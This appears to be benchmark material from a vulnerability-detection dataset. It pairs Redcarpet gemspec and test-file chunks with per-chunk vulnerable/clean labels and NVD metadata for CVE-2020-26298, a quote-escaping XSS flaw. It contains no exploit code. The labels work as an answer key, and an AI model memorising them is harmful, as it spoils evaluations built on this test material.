[ "# encoding: utf-8\nGem::Specification.new do |s|\n s.name = 'redcarpet'", " s.version = '3.5.0'", " s.summary = \"Markdown that smells nice\"\n s.description = 'A fast, safe and extensible Markdown to (X)HTML parser'", " s.date = '2019-07-29'", " s.email = 'vicent@github.com'\n s.homepage = 'http://github.com/vmg/redcarpet'\n s.authors = [\"Natacha Porté\", \"Vicent Martí\"]\n s.license = 'MIT'\n s.required_ruby_version = '>= 1.9.2'\n # = MANIFEST =\n s.files = %w[\n COPYING\n Gemfile\n README.markdown\n Rakefile\n bin/redcarpet\n ext/redcarpet/autolink.c\n ext/redcarpet/autolink.h\n ext/redcarpet/buffer.c\n ext/redcarpet/buffer.h\n ext/redcarpet/extconf.rb\n ext/redcarpet/houdini.h\n ext/redcarpet/houdini_href_e.c\n ext/redcarpet/houdini_html_e.c\n ext/redcarpet/html.c\n ext/redcarpet/html.h\n ext/redcarpet/html_blocks.h\n ext/redcarpet/html_smartypants.c\n ext/redcarpet/markdown.c\n ext/redcarpet/markdown.h\n ext/redcarpet/rc_markdown.c\n ext/redcarpet/rc_render.c\n ext/redcarpet/redcarpet.h\n ext/redcarpet/stack.c\n ext/redcarpet/stack.h\n lib/redcarpet.rb\n lib/redcarpet/cli.rb\n lib/redcarpet/compat.rb\n lib/redcarpet/render_man.rb\n lib/redcarpet/render_strip.rb\n redcarpet.gemspec\n test/benchmark.rb\n test/custom_render_test.rb\n test/fixtures/benchmark.md\n test/html5_test.rb\n test/html_render_test.rb\n test/html_toc_render_test.rb\n test/markdown_test.rb\n test/pathological_inputs_test.rb\n test/redcarpet_bin_test.rb\n test/redcarpet_compat_test.rb\n test/safe_render_test.rb\n test/smarty_html_test.rb\n test/smarty_pants_test.rb\n test/stripdown_render_test.rb\n test/test_helper.rb\n ]\n # = MANIFEST =\n s.test_files = s.files.grep(%r{^test/})\n s.extra_rdoc_files = [\"COPYING\"]\n s.extensions = [\"ext/redcarpet/extconf.rb\"]\n s.executables = [\"redcarpet\"]\n s.require_paths = [\"lib\"]", " s.add_development_dependency \"rake\", \"~> 12.2.1\"\n s.add_development_dependency \"rake-compiler\", \"~> 1.0.3\"\n s.add_development_dependency \"test-unit\", \"~> 3.2.3\"\nend" ]
[ 1, 0, 1, 0, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "# encoding: utf-8\nGem::Specification.new do |s|\n s.name = 'redcarpet'", " s.version = '3.5.1'", " s.summary = \"Markdown that smells nice\"\n s.description = 'A fast, safe and extensible Markdown to (X)HTML parser'", " s.date = '2020-12-15'", " s.email = 'vicent@github.com'\n s.homepage = 'http://github.com/vmg/redcarpet'\n s.authors = [\"Natacha Porté\", \"Vicent Martí\"]\n s.license = 'MIT'\n s.required_ruby_version = '>= 1.9.2'\n # = MANIFEST =\n s.files = %w[\n COPYING\n Gemfile\n README.markdown\n Rakefile\n bin/redcarpet\n ext/redcarpet/autolink.c\n ext/redcarpet/autolink.h\n ext/redcarpet/buffer.c\n ext/redcarpet/buffer.h\n ext/redcarpet/extconf.rb\n ext/redcarpet/houdini.h\n ext/redcarpet/houdini_href_e.c\n ext/redcarpet/houdini_html_e.c\n ext/redcarpet/html.c\n ext/redcarpet/html.h\n ext/redcarpet/html_blocks.h\n ext/redcarpet/html_smartypants.c\n ext/redcarpet/markdown.c\n ext/redcarpet/markdown.h\n ext/redcarpet/rc_markdown.c\n ext/redcarpet/rc_render.c\n ext/redcarpet/redcarpet.h\n ext/redcarpet/stack.c\n ext/redcarpet/stack.h\n lib/redcarpet.rb\n lib/redcarpet/cli.rb\n lib/redcarpet/compat.rb\n lib/redcarpet/render_man.rb\n lib/redcarpet/render_strip.rb\n redcarpet.gemspec\n test/benchmark.rb\n test/custom_render_test.rb\n test/fixtures/benchmark.md\n test/html5_test.rb\n test/html_render_test.rb\n test/html_toc_render_test.rb\n test/markdown_test.rb\n test/pathological_inputs_test.rb\n test/redcarpet_bin_test.rb\n test/redcarpet_compat_test.rb\n test/safe_render_test.rb\n test/smarty_html_test.rb\n test/smarty_pants_test.rb\n test/stripdown_render_test.rb\n test/test_helper.rb\n ]\n # = MANIFEST =\n s.test_files = s.files.grep(%r{^test/})\n s.extra_rdoc_files = [\"COPYING\"]\n s.extensions = [\"ext/redcarpet/extconf.rb\"]\n s.executables = [\"redcarpet\"]\n s.require_paths = [\"lib\"]", " s.add_development_dependency \"rake\", \"~> 12.2.1\"\n s.add_development_dependency \"rake-compiler\", \"~> 1.0.3\"\n s.add_development_dependency \"test-unit\", \"~> 3.2.3\"\nend" ]
[ 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "# coding: UTF-8\nrequire 'test_helper'", "class MarkdownTest < Redcarpet::TestCase\n def setup\n @renderer = Redcarpet::Render::HTML\n end", " def test_that_simple_one_liner_goes_to_html\n assert_equal \"<p>Hello World.</p>\", render(\"Hello World.\")\n end", " def test_that_inline_markdown_goes_to_html\n assert_equal \"<p><em>Hello World</em>!</p>\", render('_Hello World_!')\n end", " def test_that_inline_markdown_starts_and_ends_correctly\n output = render('_start _ foo_bar bar_baz _ end_ *italic* **bold** <a>_blah_</a>', with: [:no_intra_emphasis])\n expected = \"<p><em>start _ foo_bar bar_baz _ end</em> <em>italic</em> <strong>bold</strong> <a><em>blah</em></a></p>\"", " assert_equal expected, output", " output = render(\"Run 'rake radiant:extensions:rbac_base:migrate'\")\n expected = \"<p>Run &#39;rake radiant:extensions:rbac_base:migrate&#39;</p>\"", " assert_equal expected, output\n end", " def test_that_urls_are_not_doubly_escaped\n output = render('[Page 2](/search?query=Markdown+Test&page=2)')\n assert_equal \"<p><a href=\\\"/search?query=Markdown+Test&page=2\\\">Page 2</a></p>\", output\n end", " def test_simple_inline_html\n output = render(\"before\\n\\n<div>\\n foo\\n</div>\\n\\nafter\")\n expected = \"<p>before</p>\\n\\n<div>\\n foo\\n</div>\\n\\n<p>after</p>\"", " assert_equal expected, output\n end", " def test_that_html_blocks_do_not_require_their_own_end_tag_line\n output = render(\"Para 1\\n\\n<div><pre>HTML block\\n</pre></div>\\n\\nPara 2 [Link](#anchor)\")\n expected = \"<p>Para 1</p>\\n\\n<div><pre>HTML block\\n</pre></div>\\n\\n<p>Para 2 <a href=\\\"#anchor\\\">Link</a></p>\"", " assert_equal expected, output\n end", " # This isn't in the spec but is Markdown.pl behavior.\n def test_block_quotes_preceded_by_spaces\n output = render <<-Markdown.strip_heredoc\n A wise man once said:", "\n > Isn't it wonderful just to be alive.\n Markdown\n expected = <<-HTML.chomp.strip_heredoc\n <p>A wise man once said:</p>", " <blockquote>\n <p>Isn&#39;t it wonderful just to be alive.</p>\n </blockquote>\n HTML", " assert_equal expected, output\n end", " def test_para_before_block_html_should_not_wrap_in_p_tag\n output = render(\"Things to watch out for\\n<ul>\\n<li>Blah</li>\\n</ul>\", with: [:lax_spacing])\n expected = \"<p>Things to watch out for</p>\\n\\n<ul>\\n<li>Blah</li>\\n</ul>\"", " assert_equal expected, output\n end", " # https://github.com/vmg/redcarpet/issues/111\n def test_p_with_less_than_4space_indent_should_not_be_part_of_last_list_item\n text = <<-Markdown\n * a\n * b\n * c", " This paragraph is not part of the list.\n Markdown\n expected = <<-HTML.chomp.strip_heredoc\n <ul>\n <li>a</li>\n <li>b</li>\n <li>c</li>\n </ul>", " <p>This paragraph is not part of the list.</p>\n HTML", " assert_equal expected, render(text)\n end", " # http://github.com/rtomayko/rdiscount/issues/#issue/13\n def test_headings_with_trailing_space\n text = \"The Ant-Sugar Tales \\n\" +\n \"=================== \\n\\n\" +\n \"By Candice Yellowflower \\n\"", " assert_equal \"<h1>The Ant-Sugar Tales </h1>\\n\\n<p>By Candice Yellowflower </p>\", render(text)\n end", " def test_that_intra_emphasis_works\n assert_equal \"<p>foo<em>bar</em>baz</p>\", render(\"foo_bar_baz\")\n assert_equal \"<p>foo_bar_baz</p>\", render(\"foo_bar_baz\", with: [:no_intra_emphasis])\n end", " def test_that_autolink_flag_works\n output = render(\"http://github.com/rtomayko/rdiscount\", with: [:autolink])\n expected = \"<p><a href=\\\"http://github.com/rtomayko/rdiscount\\\">http://github.com/rtomayko/rdiscount</a></p>\"", " assert_equal expected, output\n end", " def test_that_tags_can_have_dashes_and_underscores\n output = render(\"foo <asdf-qwerty>bar</asdf-qwerty> and <a_b>baz</a_b>\")\n expected = \"<p>foo <asdf-qwerty>bar</asdf-qwerty> and <a_b>baz</a_b></p>\"", " assert_equal expected, output\n end", " def test_link_syntax_is_not_processed_within_code_blocks\n output = render(\" This is a code block\\n This is a link [[1]] inside\\n\")\n expected = \"<pre><code>This is a code block\\nThis is a link [[1]] inside\\n</code></pre>\"", " assert_equal expected, output\n end", " def test_whitespace_after_urls\n output = render(\"Japan: http://www.abc.net.au/news/events/japan-quake-2011/beforeafter.htm (yes, japan)\", with: [:autolink])\n expected = %(<p>Japan: <a href=\"http://www.abc.net.au/news/events/japan-quake-2011/beforeafter.htm\">http://www.abc.net.au/news/events/japan-quake-2011/beforeafter.htm</a> (yes, japan)</p>)", " assert_equal expected, output\n end", " def test_memory_leak_when_parsing_char_links\n render(<<-leaks.strip_heredoc)\n 2. Identify the wild-type cluster and determine all clusters\n containing or contained by it:", " wildtype <- wildtype.cluster(h)\n wildtype.mask <- logical(nclust)\n wildtype.mask[c(contains(h, wildtype),\n wildtype,\n contained.by(h, wildtype))] <- TRUE", " This could be more elegant.\n leaks\n end", " def test_infinite_loop_in_header\n assert_equal \"<h1>Body</h1>\", render(<<-header.strip_heredoc)\n ######\n #Body#\n ######\n header\n end", " def test_a_hyphen_and_a_equal_should_not_be_converted_to_heading\n assert_equal \"<p>-</p>\", render(\"-\")\n assert_equal \"<p>=</p>\", render(\"=\")\n end", " def test_that_tables_flag_works\n text = <<-Markdown.strip_heredoc\n aaa | bbbb\n -----|------\n hello|sailor\n Markdown", " assert render(text) !~ /<table/\n assert render(text, with: [:tables]) =~ /<table/\n end", " def test_that_tables_work_with_org_table_syntax\n text = <<-Markdown.strip_heredoc\n | aaa | bbbb |\n |-----+------|\n |hello|sailor|\n Markdown", " assert render(text) !~ /<table/\n assert render(text, with: [:tables]) =~ /<table/\n end", " def test_strikethrough_flag_works\n text = \"this is ~some~ striked ~~text~~\"", " assert render(text) !~ /<del/\n assert render(text, with: [:strikethrough]) =~ /<del/\n end", " def test_underline_flag_works\n text = \"this is *some* text that is _underlined_. ___boom___\"\n output = render(text, with: [:underline])", " refute render(text).include? '<u>underlined</u>'", " assert output.include? '<u>underlined</u>'\n assert output.include? '<em>some</em>'\n end", " def test_highlight_flag_works\n text = \"this is ==highlighted==\"\n output = render(text, with: [:highlight])", " refute render(text).include? '<mark>highlighted</mark>'", " assert output.include? '<mark>highlighted</mark>'\n end", " def test_quote_flag_works\n text = 'this is a \"quote\"'\n output = render(text, with: [:quote])", " refute render(text).include? '<q>quote</q>'", " assert_equal '<p>this is a <q>quote</q></p>', output\n end\n", "", " def test_that_fenced_flag_works\n text = <<-fenced.strip_heredoc\n This is a simple test", " ~~~~~\n This is some awesome code\n with tabs and shit\n ~~~\n fenced", " assert render(text) !~ /<code/\n assert render(text, with: [:fenced_code_blocks]) =~ /<code/\n end", " def test_that_fenced_flag_works_without_space\n text = \"foo\\nbar\\n```\\nsome\\ncode\\n```\\nbaz\"\n output = render(text, with: [:fenced_code_blocks, :lax_spacing])", " assert output.include?(\"<pre><code>\")", " output = render(text, with: [:fenced_code_blocks])\n assert !output.include?(\"<pre><code>\")\n end", " def test_that_indented_code_preserves_references\n text = <<-indented.strip_heredoc\n This is normal text", " Link to [Google][1]", " [1]: http://google.com\n indented", " output = render(text, with: [:fenced_code_blocks])\n assert output.include?(\"[1]: http://google.com\")\n end", " def test_that_fenced_flag_preserves_references\n text = <<-fenced.strip_heredoc\n This is normal text", " ```\n Link to [Google][1]", " [1]: http://google.com\n ```\n fenced", " out = render(text, with: [:fenced_code_blocks])\n assert out.include?(\"[1]: http://google.com\")\n end", " def test_that_fenced_code_copies_language_verbatim_with_braces\n text = \"```{rust,no_run}\\nx = 'foo'\\n```\"\n html = render(text, with: [:fenced_code_blocks])", " assert_equal \"<pre><code class=\\\"rust,no_run\\\">x = &#39;foo&#39;\\n</code></pre>\", html\n end", " def test_that_fenced_code_copies_language_verbatim\n text = \"```rust,no_run\\nx = 'foo'\\n```\"\n html = render(text, with: [:fenced_code_blocks])", " assert_equal \"<pre><code class=\\\"rust,no_run\\\">x = &#39;foo&#39;\\n</code></pre>\", html\n end", " def test_that_indented_flag_works\n text = <<-indented.strip_heredoc\n This is a simple text", " This is some awesome code\n with shit", " And this is again a simple text\n indented", " assert render(text) =~ /<code/\n assert render(text, with: [:disable_indented_code_blocks]) !~ /<code/\n end", " def test_that_headers_are_linkable\n output = render('### Hello [GitHub](http://github.com)')\n expected = \"<h3>Hello <a href=\\\"http://github.com\\\">GitHub</a></h3>\"", " assert_equal expected, output\n end", " def test_autolinking_with_ent_chars\n markdown = <<-Markdown.strip_heredoc\n This a stupid link: https://github.com/rtomayko/tilt/issues?milestone=1&state=open\n Markdown\n output = render(markdown, with: [:autolink])", " assert_equal \"<p>This a stupid link: <a href=\\\"https://github.com/rtomayko/tilt/issues?milestone=1&state=open\\\">https://github.com/rtomayko/tilt/issues?milestone=1&amp;state=open</a></p>\", output\n end", " def test_spaced_headers\n output = render(\"#123 a header yes\\n\", with: [:space_after_headers])", " assert output !~ /<h1>/\n end", " def test_proper_intra_emphasis\n assert render(\"http://en.wikipedia.org/wiki/Dave_Allen_(comedian)\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"this fails: hello_world_\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"this also fails: hello_world_#bye\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"this works: hello_my_world\", with: [:no_intra_emphasis]) !~ /<em>/\n assert render(\"句中**粗體**測試\", with: [:no_intra_emphasis]) =~ /<strong>/", " markdown = \"This is (**bold**) and this_is_not_italic!\"\n output = \"<p>This is (<strong>bold</strong>) and this_is_not_italic!</p>\"", " assert_equal output, render(markdown, with: [:no_intra_emphasis])", " markdown = \"This is \\\"**bold**\\\"\"\n output = \"<p>This is &quot;<strong>bold</strong>&quot;</p>\"\n assert_equal output, render(markdown, with: [:no_intra_emphasis])\n end", " def test_emphasis_escaping\n assert_equal \"<p><strong>foo*</strong> <em>dd_dd</em></p>\", render(\"**foo\\\\*** _dd\\\\_dd_\")\n end", " def test_char_escaping_when_highlighting\n output = render(\"==attribute\\\\===\", with: [:highlight])", " assert_equal \"<p><mark>attribute=</mark></p>\", output\n end", " def test_ordered_lists_with_lax_spacing\n output = render(\"Foo:\\n1. Foo\\n2. Bar\", with: [:lax_spacing])", " assert_match /<ol>/, output\n assert_match /<li>Foo<\\/li>/, output\n end", " def test_references_with_tabs_after_colon\n output = render(\"[Link][id]\\n[id]:\\t\\t\\thttp://google.es\")", " assert_equal \"<p><a href=\\\"http://google.es\\\">Link</a></p>\", output\n end", " def test_superscript\n output = render(\"this is the 2^nd time\", with: [:superscript])", " assert_equal \"<p>this is the 2<sup>nd</sup> time</p>\", output\n end", " def test_superscript_enclosed_in_parenthesis\n output = render(\"this is the 2^(nd) time\", with: [:superscript])", " assert_equal \"<p>this is the 2<sup>nd</sup> time</p>\", output\n end", " def test_no_rewind_into_previous_inline\n result = \"<p><em>!dl</em><a href=\\\"mailto:1@danlec.com\\\">1@danlec.com</a></p>\"\n output = render(\"_!dl_1@danlec.com\", with: [:autolink])", " assert_equal result, output", " result = \"<p>abc123<em><a href=\\\"http://www.foo.com\\\">www.foo.com</a></em>@foo.com</p>\"\n output = render(\"abc123_www.foo.com_@foo.com\", with: [:autolink])", " assert_equal result, output\n end", " def test_autolink_with_period_next_to_url\n result = %(<p>Checkout a cool site like <a href=\"https://github.com\">https://github.com</a>.</p>)\n output = render(\"Checkout a cool site like https://github.com.\", with: [:autolink])", " assert_equal result, output\n end", " def test_single_dashes_on_table_headers\n markdown = <<-Markdown.strip_heredoc\n | a | b |\n | - | - |\n | c | d |\n Markdown\n output = render(markdown, with: [:tables])", " assert_match /<table>/, output\n end\nend" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
